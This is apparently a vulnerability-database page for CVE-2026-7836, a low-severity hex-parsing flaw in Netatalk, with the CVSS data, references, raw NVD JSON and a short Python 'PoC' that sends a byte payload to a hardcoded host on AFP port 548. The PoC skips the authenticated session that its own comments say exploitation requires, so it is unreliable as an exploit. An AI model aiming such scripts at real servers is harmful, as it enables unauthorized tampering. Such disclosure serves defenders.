CVE-2026-7836

Description

An incorrect calculation in the hextoint macro in Netatalk 2.0.0 through 4.4.2 due to improper uppercase character handling allows a remote authenticated attacker to cause limited data modification via crafted hexadecimal input.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Netatalk 2.0.0

Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# PoC for CVE-2026-7836: Netatalk hextoint macro calculation error
# This script attempts to send a payload with uppercase hex characters
# to trigger the incorrect calculation logic.

TARGET_IP = "192.168.1.100"
TARGET_PORT = 548  # Default AFP port

# Malicious payload containing uppercase hex characters (e.g., 'A'-'F')
# which may be mishandled by the vulnerable hextoint macro.
# Note: Actual exploitation requires valid AFP session establishment.
payload = b"\x00\x04\x41\x46\x50\x43\x4F\x4D\x00" 

def send_exploit():
    try:
        print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        
        print("[*] Sending crafted payload with uppercase hex characters...")
        s.send(payload)
        
        response = s.recv(1024)
        print(f"[+] Received response: {response}")
        s.close()
        print("[*] Payload sent. Check target for data modification.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7836
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7836
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7836/
[4] VulDB https://vuldb.com/cve/CVE-2026-7836
[5] https://netatalk.io/security/CVE-2026-7836

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7836", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:23.403", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incorrect calculation in the hextoint macro in Netatalk 2.0.0 through 4.4.2 due to improper uppercase character handling allows a remote authenticated attacker to cause limited data modification via crafted hexadecimal input."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-682"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-7836", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}